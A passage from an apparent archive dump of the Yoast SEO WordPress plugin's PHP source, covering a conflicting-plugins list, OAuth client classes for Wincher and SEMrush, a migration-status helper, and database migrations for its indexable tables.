		'xml-maps/google-sitemap.php',
		// Xml Sitemap (Jason Martens).
		'google-xml-sitemap-generator-by-anton-dachauer/adachauer-google-xml-sitemap.php',
		// Google XML Sitemap Generator by Anton Dachauer (Anton Dachauer).
		'wp-xml-sitemap/wp-xml-sitemap.php',
		// WP XML Sitemap (Team Vivacity).
		'sitemap-generator-for-webmasters/sitemap.php',
		// Sitemap Generator for Webmasters (iwebslogtech).
		'xml-sitemap-xml-sitemapcouk/xmls.php',
		// XML Sitemap - XML-Sitemap.co.uk (Simon Hancox).
		'sewn-in-xml-sitemap/sewn-xml-sitemap.php',
		// Sewn In XML Sitemap (jcow).
		'rps-sitemap-generator/rps-sitemap-generator.php',
		// RPS Sitemap Generator (redpixelstudios).
	];

	public const CLOAKING_PLUGINS = [
		'rs-head-cleaner/rs-head-cleaner.php',
		// RS Head Cleaner Plus https://wordpress.org/plugins/rs-head-cleaner/.
		'rs-head-cleaner-lite/rs-head-cleaner-lite.php',
		// RS Head Cleaner Lite https://wordpress.org/plugins/rs-head-cleaner-lite/.
	];

	public const SEO_PLUGINS = [
		'all-in-one-seo-pack/all_in_one_seo_pack.php',           // All in One SEO Pack.
		'seo-ultimate/seo-ultimate.php',                         // SEO Ultimate.
		'seo-by-rank-math/rank-math.php',                        // Rank Math.
	];

	/**
	 * Returns the list of all conflicting plugins.
	 *
	 * @return array The list of all conflicting plugins.
	 */
	public static function all_plugins() {
		return \array_merge(
			self::OPEN_GRAPH_PLUGINS,
			self::XML_SITEMAPS_PLUGINS,
			self::CLOAKING_PLUGINS,
			self::SEO_PLUGINS
		);
	}
}
wordpress-seo/src/config/wincher-client.php000064400000007531147510273100015046 0ustar00<?php

namespace Yoast\WP\SEO\Config;

use WPSEO_Utils;
use Yoast\WP\SEO\Exceptions\OAuth\Authentication_Failed_Exception;
use Yoast\WP\SEO\Exceptions\OAuth\Tokens\Empty_Property_Exception;
use Yoast\WP\SEO\Exceptions\OAuth\Tokens\Empty_Token_Exception;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Values\OAuth\OAuth_Token;
use Yoast\WP\SEO\Wrappers\WP_Remote_Handler;
use YoastSEO_Vendor\GuzzleHttp\Client;
use YoastSEO_Vendor\League\OAuth2\Client\Provider\Exception\IdentityProviderException;

/**
 * Class Wincher_Client
 */
class Wincher_Client extends OAuth_Client {

	/**
	 * The option's key.
	 */
	public const TOKEN_OPTION = 'wincher_tokens';

	/**
	 * Name of the temporary PKCE cookie.
	 */
	public const PKCE_TRANSIENT_NAME = 'yoast_wincher_pkce';

	/**
	 * The WP_Remote_Handler instance.
	 *
	 * @var WP_Remote_Handler
	 */
	protected $wp_remote_handler;

	/**
	 * Wincher_Client constructor.
	 *
	 * @param Options_Helper    $options_helper    The Options_Helper instance.
	 * @param WP_Remote_Handler $wp_remote_handler The request handler.
	 *
	 * @throws Empty_Property_Exception Exception thrown if a token property is empty.
	 */
	public function __construct(
		Options_Helper $options_helper,
		WP_Remote_Handler $wp_remote_handler
	) {

		$provider = new Wincher_PKCE_Provider(
			[
				'clientId'                => 'yoast',
				'redirectUri'             => 'https://auth.wincher.com/yoast/setup',
				'urlAuthorize'            => 'https://auth.wincher.com/connect/authorize',
				'urlAccessToken'          => 'https://auth.wincher.com/connect/token',
				'urlResourceOwnerDetails' => 'https://api.wincher.com/beta/user',
				'scopes'                  => [ 'profile', 'account', 'websites:read', 'websites:write', 'offline_access' ],
				'scopeSeparator'          => ' ',
				'pkceMethod'              => 'S256',
			],
			[
				'httpClient' => new Client( [ 'handler' => $wp_remote_handler ] ),
			]
		);

		parent::__construct(
			self::TOKEN_OPTION,
			$provider,
			$options_helper
		);
	}

	/**
	 * Return the authorization URL.
	 *
	 * @return string The authentication URL.
	 */
	public function get_authorization_url() {
		$parsed_site_url = \wp_parse_url( \get_site_url() );

		$url = $this->provider->getAuthorizationUrl(
			[
				'state' => WPSEO_Utils::format_json_encode( [ 'domain' => $parsed_site_url['host'] ] ),
			]
		);

		$pkce_code = $this->provider->getPkceCode();

		// Store a transient value with the PKCE code that we need in order to
		// exchange the returned code for a token after authorization.
		\set_transient( self::PKCE_TRANSIENT_NAME, $pkce_code, \DAY_IN_SECONDS );

		return $url;
	}

	/**
	 * Requests the access token and refresh token based on the passed code.
	 *
	 * @param string $code The code to send.
	 *
	 * @return OAuth_Token The requested tokens.
	 *
	 * @throws Authentication_Failed_Exception Exception thrown if authentication has failed.
	 */
	public function request_tokens( $code ) {
		$pkce_code = \get_transient( self::PKCE_TRANSIENT_NAME );
		if ( $pkce_code ) {
			$this->provider->setPkceCode( $pkce_code );
		}
		return parent::request_tokens( $code );
	}

	/**
	 * Performs the specified request.
	 *
	 * @codeCoverageIgnore
	 *
	 * @param string $method  The HTTP method to use.
	 * @param string $url     The URL to send the request to.
	 * @param array  $options The options to pass along to the request.
	 *
	 * @return mixed The parsed API response.
	 *
	 * @throws IdentityProviderException Exception thrown if there's something wrong with the identifying data.
	 * @throws Authentication_Failed_Exception Exception thrown if authentication has failed.
	 * @throws Empty_Token_Exception Exception thrown if the token is empty.
	 */
	protected function do_request( $method, $url, array $options ) {
		$options['headers'] = [ 'Content-Type' => 'application/json' ];
		return parent::do_request( $method, $url, $options );
	}
}
wordpress-seo/src/config/researcher-languages.php000064400000000523147510273100016214 0ustar00<?php

namespace Yoast\WP\SEO\Config;

/**
 * Holds all languages supported with specific researches for our readability analysis.
 */
class Researcher_Languages {

	public const SUPPORTED_LANGUAGES = [ 'ar', 'ca', 'de', 'en', 'es', 'fa', 'fr', 'he', 'hu', 'id', 'it', 'nb', 'nl', 'pl', 'pt', 'ru', 'sv', 'tr', 'cs', 'sk', 'el', 'ja' ];
}
wordpress-seo/src/config/migration-status.php000064400000012227147510273100015443 0ustar00<?php

namespace Yoast\WP\SEO\Config;

/**
 * Migration_Status class.
 *
 * Used to validate whether or not migrations have been run and whether or not they should be run again.
 */
class Migration_Status {

	/**
	 * The migration option key.
	 *
	 * @var string
	 */
	public const MIGRATION_OPTION_KEY = 'yoast_migrations_';

	/**
	 * The migration options.
	 *
	 * @var array
	 */
	protected $migration_options = [];

	/**
	 * Checks if a given migration should be run.
	 *
	 * @param string $name    The name of the migration.
	 * @param string $version The current version.
	 *
	 * @return bool Whether or not the migration should be run.
	 */
	public function should_run_migration( $name, $version = \WPSEO_VERSION ) {
		$migration_status = $this->get_migration_status( $name );

		// Check if we've attempted to run this migration in the past 10 minutes. If so, it may still be running.
		if ( \array_key_exists( 'lock', $migration_status ) ) {
			$timestamp = \strtotime( '-10 minutes' );

			return $timestamp > $migration_status['lock'];
		}

		// Is the migration version less than the current version.
		return \version_compare( $migration_status['version'], $version, '<' );
	}

	/**
	 * Checks whether or not the given migration is at least the given version, defaults to checking for the latest version.
	 *
	 * @param string $name    The name of the migration.
	 * @param string $version The version to check, defaults to the latest version.
	 *
	 * @return bool Whether or not the requested migration is at least the requested version.
	 */
	public function is_version( $name, $version = \WPSEO_VERSION ) {
		$migration_status = $this->get_migration_status( $name );

		return \version_compare( $version, $migration_status['version'], '<=' );
	}

	/**
	 * Gets the error of a given migration if it exists.
	 *
	 * @param string $name The name of the migration.
	 *
	 * @return bool|array False if there is no error, otherwise the error.
	 */
	public function get_error( $name ) {
		$migration_status = $this->get_migration_status( $name );

		if ( ! isset( $migration_status['error'] ) ) {
			return false;
		}

		return $migration_status['error'];
	}

	/**
	 * Sets an error for the migration.
	 *
	 * @param string $name    The name of the migration.
	 * @param string $message Message explaining the reason for the error.
	 * @param string $version The current version.
	 *
	 * @return void
	 */
	public function set_error( $name, $message, $version = \WPSEO_VERSION ) {
		$migration_status = $this->get_migration_status( $name );

		$migration_status['error'] = [
			'time'    => \strtotime( 'now' ),
			'version' => $version,
			'message' => $message,
		];

		$this->set_migration_status( $name, $migration_status );
	}

	/**
	 * Updates the migration version to the latest version.
	 *
	 * @param string $name    The name of the migration.
	 * @param string $version The current version.
	 *
	 * @return void
	 */
	public function set_success( $name, $version = \WPSEO_VERSION ) {
		$migration_status = $this->get_migration_status( $name );
		unset( $migration_status['lock'] );
		unset( $migration_status['error'] );
		$migration_status['version'] = $version;
		$this->set_migration_status( $name, $migration_status );
	}

	/**
	 * Locks the migration status.
	 *
	 * @param string $name The name of the migration.
	 *
	 * @return bool Whether or not the migration was succesfully locked.
	 */
	public function lock_migration( $name ) {
		$migration_status         = $this->get_migration_status( $name );
		$migration_status['lock'] = \strtotime( 'now' );

		return $this->set_migration_status( $name, $migration_status );
	}

	/**
	 * Retrieves the migration option.
	 *
	 * @param string $name The name of the migration.
	 *
	 * @return bool|array The status of the migration, false if no status exists.
	 */
	protected function get_migration_status( $name ) {
		$current_blog_id = \get_current_blog_id();
		if ( ! isset( $this->migration_options[ $current_blog_id ][ $name ] ) ) {
			$migration_status = \get_option( self::MIGRATION_OPTION_KEY . $name );

			if ( ! \is_array( $migration_status ) || ! isset( $migration_status['version'] ) ) {
				$migration_status = [ 'version' => '0.0' ];
			}

			if ( ! isset( $this->migration_options[ $current_blog_id ] ) ) {
				$this->migration_options[ $current_blog_id ] = [];
			}
			$this->migration_options[ $current_blog_id ][ $name ] = $migration_status;
		}

		return $this->migration_options[ $current_blog_id ][ $name ];
	}

	/**
	 * Retrieves the migration option.
	 *
	 * @param string $name             The name of the migration.
	 * @param array  $migration_status The migration status.
	 *
	 * @return bool True if the status was succesfully updated, false otherwise.
	 */
	protected function set_migration_status( $name, $migration_status ) {
		if ( ! \is_array( $migration_status ) || ! isset( $migration_status['version'] ) ) {
			return false;
		}
		$current_blog_id = \get_current_blog_id();

		if ( ! isset( $this->migration_options[ $current_blog_id ] ) ) {
			$this->migration_options[ $current_blog_id ] = [];
		}
		$this->migration_options[ $current_blog_id ][ $name ] = $migration_status;

		return \update_option( self::MIGRATION_OPTION_KEY . $name, $migration_status );
	}
}
wordpress-seo/src/config/semrush-client.php000064400000005172147510273100015074 0ustar00<?php

namespace Yoast\WP\SEO\Config;

use Yoast\WP\SEO\Exceptions\OAuth\Authentication_Failed_Exception;
use Yoast\WP\SEO\Exceptions\OAuth\Tokens\Empty_Property_Exception;
use Yoast\WP\SEO\Exceptions\OAuth\Tokens\Empty_Token_Exception;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Wrappers\WP_Remote_Handler;
use YoastSEO_Vendor\GuzzleHttp\Client;
use YoastSEO_Vendor\League\OAuth2\Client\Provider\Exception\IdentityProviderException;
use YoastSEO_Vendor\League\OAuth2\Client\Provider\GenericProvider;

/**
 * Class SEMrush_Client
 */
class SEMrush_Client extends OAuth_Client {

	/**
	 * The option's key.
	 */
	public const TOKEN_OPTION = 'semrush_tokens';

	/**
	 * SEMrush_Client constructor.
	 *
	 * @param Options_Helper    $options_helper    The Options_Helper instance.
	 * @param WP_Remote_Handler $wp_remote_handler The request handler.
	 *
	 * @throws Empty_Property_Exception Throws when one of the required properties is empty.
	 */
	public function __construct(
		Options_Helper $options_helper,
		WP_Remote_Handler $wp_remote_handler
	) {
		$provider = new GenericProvider(
			[
				'clientId'                => 'yoast',
				'clientSecret'            => 'YdqNsWwnP4vE54WO1ugThKEjGMxMAHJt',
				'redirectUri'             => 'https://oauth.semrush.com/oauth2/yoast/success',
				'urlAuthorize'            => 'https://oauth.semrush.com/oauth2/authorize',
				'urlAccessToken'          => 'https://oauth.semrush.com/oauth2/access_token',
				'urlResourceOwnerDetails' => 'https://oauth.semrush.com/oauth2/resource',
			],
			[
				'httpClient' => new Client( [ 'handler' => $wp_remote_handler ] ),
			]
		);

		parent::__construct(
			self::TOKEN_OPTION,
			$provider,
			$options_helper
		);
	}

	/**
	 * Performs the specified request.
	 *
	 * @codeCoverageIgnore
	 *
	 * @param string $method  The HTTP method to use.
	 * @param string $url     The URL to send the request to.
	 * @param array  $options The options to pass along to the request.
	 *
	 * @return mixed The parsed API response.
	 *
	 * @throws IdentityProviderException Exception thrown if there's something wrong with the identifying data.
	 * @throws Authentication_Failed_Exception Exception thrown if authentication has failed.
	 * @throws Empty_Token_Exception Exception thrown if the token is empty.
	 */
	public function do_request( $method, $url, array $options ) {
		// Add the access token to the GET parameters as well since this is what
		// the SEMRush API expects.
		$options = \array_merge_recursive(
			$options,
			[
				'params' => [
					'access_token' => $this->get_tokens()->access_token,
				],
			]
		);

		return parent::do_request( $method, $url, $options );
	}
}
wordpress-seo/src/config/migrations/20200702141921_CreateIndexableSubpagesIndex.php000064400000002354147510273100023444 0ustar00<?php

namespace Yoast\WP\SEO\Config\Migrations;

use Yoast\WP\Lib\Migrations\Migration;
use Yoast\WP\Lib\Model;

/**
 * CreateIndexableSubpagesIndex class.
 */
class CreateIndexableSubpagesIndex extends Migration {

	/**
	 * The plugin this migration belongs to.
	 *
	 * @var string
	 */
	public static $plugin = 'free';

	/**
	 * Migration up.
	 *
	 * @return void
	 */
	public function up() {
		$this->change_column(
			$this->get_table_name(),
			'post_status',
			'string',
			[
				'null'  => true,
				'limit' => 20,
			]
		);
		$this->add_index(
			$this->get_table_name(),
			[ 'post_parent', 'object_type', 'post_status', 'object_id' ],
			[ 'name' => 'subpages' ]
		);
	}

	/**
	 * Migration down.
	 *
	 * @return void
	 */
	public function down() {
		$this->change_column(
			$this->get_table_name(),
			'post_status',
			'string',
			[
				'null'  => true,
				'limit' => 191,
			]
		);
		$this->remove_index(
			$this->get_table_name(),
			[ 'post_parent', 'object_type', 'post_status', 'object_id' ],
			[ 'name' => 'subpages' ]
		);
	}

	/**
	 * Retrieves the table name to use for storing indexables.
	 *
	 * @return string The table name to use.
	 */
	protected function get_table_name() {
		return Model::get_table_name( 'Indexable' );
	}
}
wordpress-seo/src/config/migrations/20171228151841_WpYoastPrimaryTerm.php000064400000003022147510273100021552 0ustar00<?php

namespace Yoast\WP\SEO\Config\Migrations;

use Yoast\WP\Lib\Migrations\Migration;
use Yoast\WP\Lib\Model;

/**
 * Migration for the Primary Term.
 */
class WpYoastPrimaryTerm extends Migration {

	/**
	 * The plugin this migration belongs to.
	 *
	 * @var string
	 */
	public static $plugin = 'free';

	/**
	 * Migration up.
	 *
	 * @return void
	 */
	public function up() {
		$table_name = $this->get_table_name();

		$indexable_table = $this->create_table( $table_name );

		$indexable_table->column(
			'post_id',
			'integer',
			[
				'unsigned' => true,
				'null'     => false,
				'limit'    => 11,
			]
		);
		$indexable_table->column(
			'term_id',
			'integer',
			[
				'unsigned' => true,
				'null'     => false,
				'limit'    => 11,
			]
		);
		$indexable_table->column(
			'taxonomy',
			'string',
			[
				'null'  => false,
				'limit' => 32,
			]
		);

		// Executes the SQL to create the table.
		$indexable_table->finish();

		$this->add_index(
			$table_name,
			[
				'post_id',
				'taxonomy',
			],
			[
				'name' => 'post_taxonomy',
			]
		);

		$this->add_index(
			$table_name,
			[
				'post_id',
				'term_id',
			],
			[
				'name' => 'post_term',
			]
		);

		$this->add_timestamps( $table_name );
	}

	/**
	 * Migration down.
	 *
	 * @return void
	 */
	public function down() {
		$this->drop_table( $this->get_table_name() );
	}

	/**
	 * Retrieves the table name to use.
	 *
	 * @return string Table name to use.
	 */
	protected function get_table_name() {
		return Model::get_table_name( 'Primary_Term' );
	}
}
wordpress-seo/src/config/migrations/20201216124002_ExpandIndexableIDColumnLengths.php000064400000002023147510273100023677 0ustar00<?php

namespace Yoast\WP\SEO\Config\Migrations;

use Yoast\WP\Lib\Migrations\Migration;
use Yoast\WP\Lib\Model;

/**
 * ExpandIndexableIDColumnLengths class.
 */
class ExpandIndexableIDColumnLengths extends Migration {

	/**
	 * The plugin this migration belongs to.
	 *
	 * @var string
	 */
	public static $plugin = 'free';

	/**
	 * The columns to change the column type and length of.
	 *
	 * @var string[]
	 */
	protected static $columns_to_change = [
		'object_id',
		'author_id',
		'post_parent',
	];

	/**
	 * Migration up.
	 *
	 * @return void
	 */
	public function up() {
		foreach ( self::$columns_to_change as $column ) {
			$this->change_column(
				$this->get_table_name(),
				$column,
				'biginteger',
				[ 'limit' => 20 ]
			);
		}
	}

	/**
	 * Migration down.
	 *
	 * @return void
	 */
	public function down() {
	}

	/**
	 * Retrieves the table name to use for storing indexables.
	 *
	 * @return string The table name to use.
	 */
	protected function get_table_name() {
		return Model::get_table_name( 'Indexable' );
	}
}
wordpress-seo/src/config/migrations/20200428123747_BreadcrumbTitleAndHierarchyReset.php000064400000002356147510273100024315 0ustar00<?php

namespace Yoast\WP\SEO\Config\Migrations;

use Yoast\WP\Lib\Migrations\Migration;
use Yoast\WP\Lib\Model;

/**
 * Class BreadcrumbTitleAndHierarchyReset.
 */
class BreadcrumbTitleAndHierarchyReset extends Migration {

	/**
	 * The plugin this migration belongs to.
	 *
	 * @var string
	 */
	public static $plugin = 'free';

	/**
	 * Migration up.
	 *
	 * @return void
	 */
	public function up() {
		$this->change_column( $this->get_indexable_table_name(), 'breadcrumb_title', 'text', [ 'null' => true ] );
		$this->query( 'DELETE FROM ' . $this->get_indexable_hierarchy_table_name() );
	}

	/**
	 * Migration down.
	 *
	 * @return void
	 */
	public function down() {
		$this->change_column(
			$this->get_indexable_table_name(),
			'breadcrumb_title',
			'string',
			[
				'null'  => true,
				'limit' => 191,
			]
		);
	}

	/**
	 * Retrieves the table name to use for storing indexables.
	 *
	 * @return string The table name to use.
	 */
	protected function get_indexable_table_name() {
		return Model::get_table_name( 'Indexable' );
	}

	/**
	 * Retrieves the table name to use.
	 *
	 * @return string The table name to use.
	 */
	protected function get_indexable_hierarchy_table_name() {
		return Model::get_table_name( 'Indexable_Hierarchy' );
	}
}
wordpress-seo/src/config/migrations/20200609154515_AddHasAncestorsColumn.php000064400000001661147510273100022140 0ustar00<?php

namespace Yoast\WP\SEO\Config\Migrations;

use Yoast\WP\Lib\Migrations\Migration;
use Yoast\WP\Lib\Model;
use Yoast\WP\SEO\WordPress\Wrapper;

/**
 * Class AddHasAncestorsColumn.
 */
class AddHasAncestorsColumn extends Migration {

	/**
	 * The plugin this migration belongs to.
	 *
	 * @var string
	 */
	public static $plugin = 'free';

	/**
	 * Migration up.
	 *
	 * @return void
	 */
	public function up() {
		$this->add_column(
			Model::get_table_name( 'Indexable' ),
			'has_ancestors',
			'boolean',
			[
				'default' => false,
			]
		);

		Wrapper::get_wpdb()->query(
			'
			UPDATE ' . Model::get_table_name( 'Indexable' ) . '
			SET has_ancestors = 1
			WHERE id IN ( SELECT indexable_id FROM ' . Model::get_table_name( 'Indexable_Hierarchy' ) . ' )
			'
		);
	}

	/**
	 * Migration down.
	 *
	 * @return void
	 */
	public function down() {
		$this->remove_column( Model::get_table_name( 'Indexable' ), 'has_ancestors' );
	}
}
wordpress-seo/src/config/migrations/20201216141134_ExpandPrimaryTermIDColumnLengths.php000064400000002005147510273100024264 0ustar00<?php

namespace Yoast\WP\SEO\Config\Migrations;

use Yoast\WP\Lib\Migrations\Migration;
use Yoast\WP\Lib\Model;

/**
 * ExpandPrimaryTermIDColumnLengths class.
 */
class ExpandPrimaryTermIDColumnLengths extends Migration {

	/**
	 * The plugin this migration belongs to.
	 *
	 * @var string
	 */
	public static $plugin = 'free';

	/**
	 * The columns to change the column type and length of.
	 *
	 * @var string[]
	 */
	protected static $columns_to_change = [
		'post_id',
		'term_id',
	];

	/**
	 * Migration up.
	 *
	 * @return void
	 */
	public function up() {
		foreach ( self::$columns_to_change as $column ) {
			$this->change_column(
				$this->get_table_name(),
				$column,
				'biginteger',
				[ 'limit' => 20 ]
			);
		}
	}

	/**
	 * Migration down.
	 *
	 * @return void
	 */
	public function down() {
	}

	/**
	 * Retrieves the table name to use for storing indexables.
	 *
	 * @return string The table name to use.
	 */
	protected function get_table_name() {
		return Model::get_table_name( 'Primary_Term' );
	}
}
wordpress-seo/src/config/migrations/20200430075614_AddIndexableObjectIdAndTypeIndex.php000064400000001737147510273100024137 0ustar00<?php

namespace Yoast\WP\SEO\Config\Migrations;

use Yoast\WP\Lib\Migrations\Migration;
use Yoast\WP\Lib\Model;

/**
 * Class AddIndexableObjectIdAndTypeIndex.
 */
class AddIndexableObjectIdAndTypeIndex extends Migration {

	/**
	 * The plugin this migration belongs to.
	 *
	 * @var string
	 */
	public static $plugin = 'free';

	/**
	 * Migration up.
	 *
	 * @return void
	 */
	public function up() {
		$this->add_index(
			$this->get_table_name(),
			[
				'object_id',
				'object_type',
			],
			[
				'name' => 'object_id_and_type',
			]
		);
	}

	/**
	 * Migration down.
	 *
	 * @return void
	 */
	public function down() {
		$this->remove_index(
			$this->get_table_name(),
			[
				'object_id',
				'object_type',
			],
			[
				'name' => 'object_id_and_type',
			]
		);
	}

	/**
	 * Retrieves the table name to use for storing indexables.
	 *
	 * @return string The table name to use.
	 */
	protected function get_table_name() {
		return Model::get_table_name( 'Indexable' );
	}
}
wordpress-seo/src/config/migrations/20230417083836_AddInclusiveLanguageScore.php000064400000001662147510273100022776 0ustar00<?php

namespace Yoast\WP\SEO\Config\Migrations;

use Yoast\WP\Lib\Migrations\Migration;
use Yoast\WP\Lib\Model;

/**
 * AddInclusiveLanguageScore class.
 */
class AddInclusiveLanguageScore extends Migration {

	/**
	 * The plugin this migration belongs to.
	 *
	 * @var string
	 */
	public static $plugin = 'free';

	/**
	 * Migration up.
	 *
	 * @return void
	 */
	public function up() {
		$table_name = $this->get_table_name();

		$this->add_column(
			$table_name,
			'inclusive_language_score',
			'integer',
			[
				'null'  => true,
				'limit' => 3,
			]
		);
	}

	/**
	 * Migration down.
	 *
	 * @return void
	 */
	public function down() {
		$table_name = $this->get_table_name();

		$this->remove_column( $table_name, 'inclusive_language_score' );
	}

	/**
	 * Retrieves the table name to use.
	 *
	 * @return string The table name to use.
	 */
	protected function get_table_name() {
		return Model::get_table_name( 'Indexable' );
	}
}
wordpress-seo/src/config/migrations/20200420073606_AddColumnsToIndexables.php000064400000004124147510273100022274 0ustar00<?php

namespace Yoast\WP\SEO\Config\Migrations;

use Yoast\WP\Lib\Migrations\Migration;
use Yoast\WP\Lib\Model;

/**
 * Class AddColumnsToIndexables.
 */
class AddColumnsToIndexables extends Migration {

	/**
	 * The plugin this migration belongs to.
	 *
	 * @var string
	 */
	public static $plugin = 'free';

	/**
	 * Migration up.
	 *
	 * @return void
	 */
	public function up() {
		$tables  = $this->get_tables();
		$blog_id = \get_current_blog_id();
		foreach ( $tables as $table ) {
			$this->add_column(
				$table,
				'blog_id',
				'biginteger',
				[
					'null'    => false,
					'limit'   => 20,
					'default' => $blog_id,
				]
			);
		}

		$attr_limit_32 = [
			'null'  => true,
			'limit' => 32,
		];
		$attr_limit_64 = [
			'null'  => true,
			'limit' => 64,
		];

		$indexable_table = $this->get_indexable_table();
		$this->add_column( $indexable_table, 'language', 'string', $attr_limit_32 );
		$this->add_column( $indexable_table, 'region', 'string', $attr_limit_32 );
		$this->add_column( $indexable_table, 'schema_page_type', 'string', $attr_limit_64 );
		$this->add_column( $indexable_table, 'schema_article_type', 'string', $attr_limit_64 );
	}

	/**
	 * Migration down.
	 *
	 * @return void
	 */
	public function down() {
		$tables = $this->get_tables();
		foreach ( $tables as $table ) {
			$this->remove_column( $table, 'blog_id' );
		}

		$indexable_table = $this->get_indexable_table();
		$this->remove_column( $indexable_table, 'language' );
		$this->remove_column( $indexable_table, 'region' );
		$this->remove_column( $indexable_table, 'schema_page_type' );
		$this->remove_column( $indexable_table, 'schema_article_type' );
	}

	/**
	 * Retrieves the Indexable table.
	 *
	 * @return string The Indexable table name.
	 */
	protected function get_indexable_table() {
		return Model::get_table_name( 'Indexable' );
	}

	/**
	 * Retrieves the table names to use.
	 *
	 * @return string[] The table names to use.
	 */
	protected function get_tables() {
		return [
			$this->get_indexable_table(),
			Model::get_table_name( 'Indexable_Hierarchy' ),
			Model::get_table_name( 'Primary_Term' ),
		];
	}
}
wordpress-seo/src/config/migrations/20171228151840_WpYoastIndexable.php000064400000014256147510273100021204 0ustar00<?php

namespace Yoast\WP\SEO\Config\Migrations;

use Yoast\WP\Lib\Migrations\Migration;
use Yoast\WP\Lib\Model;

/**
 * Indexable migration.
 */
class WpYoastIndexable extends Migration {

	/**
	 * The plugin this migration belongs to.
	 *
	 * @var string
	 */
	public static $plugin = 'free';

	/**
	 * Migration up.
	 *
	 * @return void
	 */
	public function up() {
		$this->add_table();
	}

	/**
	 * Migration down.
	 *
	 * @return void
	 */
	public function down() {
		$this->drop_table( $this->get_table_name() );
	}

	/**
	 * Creates the indexable table.
	 *
	 * @return void
	 */
	private function add_table() {
		$table_name = $this->get_table_name();

		$indexable_table = $this->create_table( $table_name );

		// Permalink.
		$indexable_table->column( 'permalink', 'mediumtext', [ 'null' => true ] );
		$indexable_table->column(
			'permalink_hash',
			'string',
			[
				'null'  => true,
				'limit' => 191,
			]
		);

		// Object information.
		$indexable_table->column(
			'object_id',
			'integer',
			[
				'unsigned' => true,
				'null'     => true,
				'limit'    => 11,
			]
		);
		$indexable_table->column(
			'object_type',
			'string',
			[
				'null'  => false,
				'limit' => 32,
			]
		);
		$indexable_table->column(
			'object_sub_type',
			'string',
			[
				'null'  => true,
				'limit' => 32,
			]
		);

		// Ownership.
		$indexable_table->column(
			'author_id',
			'integer',
			[
				'unsigned' => true,
				'null'     => true,
				'limit'    => 11,
			]
		);
		$indexable_table->column(
			'post_parent',
			'integer',
			[
				'unsigned' => true,
				'null'     => true,
				'limit'    => 11,
			]
		);

		// Title and description.
		$indexable_table->column(
			'title',
			'string',
			[
				'null'  => true,
				'limit' => 191,
			]
		);
		$indexable_table->column( 'description', 'text', [ 'null' => true ] );
		$indexable_table->column(
			'breadcrumb_title',
			'string',
			[
				'null'  => true,
				'limit' => 191,
			]
		);

		// Post metadata: status, public, protected.
		$indexable_table->column(
			'post_status',
			'string',
			[
				'null'  => true,
				'limit' => 191,
			]
		);
		$indexable_table->column(
			'is_public',
			'boolean',
			[
				'null'    => true,
				'default' => null,
			]
		);
		$indexable_table->column( 'is_protected', 'boolean', [ 'default' => false ] );
		$indexable_table->column(
			'has_public_posts',
			'boolean',
			[
				'null'    => true,
				'default' => null,
			]
		);

		$indexable_table->column(
			'number_of_pages',
			'integer',
			[
				'unsigned' => true,
				'null'     => true,
				'default'  => null,
				'limit'    => 11,
			]
		);

		$indexable_table->column( 'canonical', 'mediumtext', [ 'null' => true ] );

		// SEO and readability analysis.
		$indexable_table->column(
			'primary_focus_keyword',
			'string',
			[
				'null'  => true,
				'limit' => 191,
			]
		);
		$indexable_table->column(
			'primary_focus_keyword_score',
			'integer',
			[
				'null'  => true,
				'limit' => 3,
			]
		);
		$indexable_table->column(
			'readability_score',
			'integer',
			[
				'null'  => true,
				'limit' => 3,
			]
		);
		$indexable_table->column( 'is_cornerstone', 'boolean', [ 'default' => false ] );

		// Robots.
		$indexable_table->column(
			'is_robots_noindex',
			'boolean',
			[
				'null'    => true,
				'default' => false,
			]
		);
		$indexable_table->column(
			'is_robots_nofollow',
			'boolean',
			[
				'null'    => true,
				'default' => false,
			]
		);
		$indexable_table->column(
			'is_robots_noarchive',
			'boolean',
			[
				'null'    => true,
				'default' => false,
			]
		);
		$indexable_table->column(
			'is_robots_noimageindex',
			'boolean',
			[
				'null'    => true,
				'default' => false,
			]
		);
		$indexable_table->column(
			'is_robots_nosnippet',
			'boolean',
			[
				'null'    => true,
				'default' => false,
			]
		);

		// Twitter.
		$indexable_table->column(
			'twitter_title',
			'string',
			[
				'null'  => true,
				'limit' => 191,
			]
		);
		$indexable_table->column( 'twitter_image', 'mediumtext', [ 'null' => true ] );
		$indexable_table->column( 'twitter_description', 'mediumtext', [ 'null' => true ] );
		$indexable_table->column(
			'twitter_image_id',
			'string',
			[
				'null'  => true,
				'limit' => 191,
			]
		);
		$indexable_table->column(
			'twitter_image_source',
			'string',
			[
				'null'  => true,
				'limit' => 191,
			]
		);

		// Open-Graph.
		$indexable_table->column(
			'open_graph_title',
			'string',
			[
				'null'  => true,
				'limit' => 191,
			]
		);
		$indexable_table->column( 'open_graph_description', 'mediumtext', [ 'null' => true ] );
		$indexable_table->column( 'open_graph_image', 'mediumtext', [ 'null' => true ] );
		$indexable_table->column(
			'open_graph_image_id',
			'string',
			[
				'null'  => true,
				'limit' => 191,
			]
		);
		$indexable_table->column(
			'open_graph_image_source',
			'string',
			[
				'null'  => true,
				'limit' => 191,
			]
		);
		$indexable_table->column( 'open_graph_image_meta', 'text', [ 'null' => true ] );

		// Link count.
		$indexable_table->column(
			'link_count',
			'integer',
			[
				'null'  => true,
				'limit' => 11,
			]
		);
		$indexable_table->column(
			'incoming_link_count',
			'integer',
			[
				'null'  => true,
				'limit' => 11,
			]
		);

		// Prominent words.
		$indexable_table->column(
			'prominent_words_version',
			'integer',
			[
				'null'     => true,
				'limit'    => 11,
				'unsigned' => true,
				'default'  => null,
			]
		);

		$indexable_table->finish();

		$this->add_indexes( $table_name );

		$this->add_timestamps( $table_name );
	}

	/**
	 * Adds indexes to the indexable table.
	 *
	 * @param string $indexable_table_name The name of the indexable table.
	 *
	 * @return void
	 */
	private function add_indexes( $indexable_table_name ) {
		$this->add_index(
			$indexable_table_name,
			[
				'object_type',
				'object_sub_type',
			],
			[
				'name' => 'object_type_and_sub_type',
			]
		);

		$this->add_index(
			$indexable_table_name,
			'permalink_hash',
			[
				'name' => 'permalink_hash',
			]
		);
	}

	/**
	 * Retrieves the table name to use for storing indexables.
	 *
	 * @return string The table name to use.
	 */
	protected function get_table_name() {
		return Model::get_table_name( 'Indexable' );
	}
}
wordpress-seo/src/config/migrations/20191011111109_WpYoastIndexableHierarchy.php000064400000003072147510273100023017 0ustar00<?php

namespace Yoast\WP\SEO\Config\Migrations;

use Yoast\WP\Lib\Migrations\Migration;
use Yoast\WP\Lib\Model;

/**
 * Class WpYoastIndexableHierarchy.
 */
class WpYoastIndexableHierarchy extends Migration {

	/**
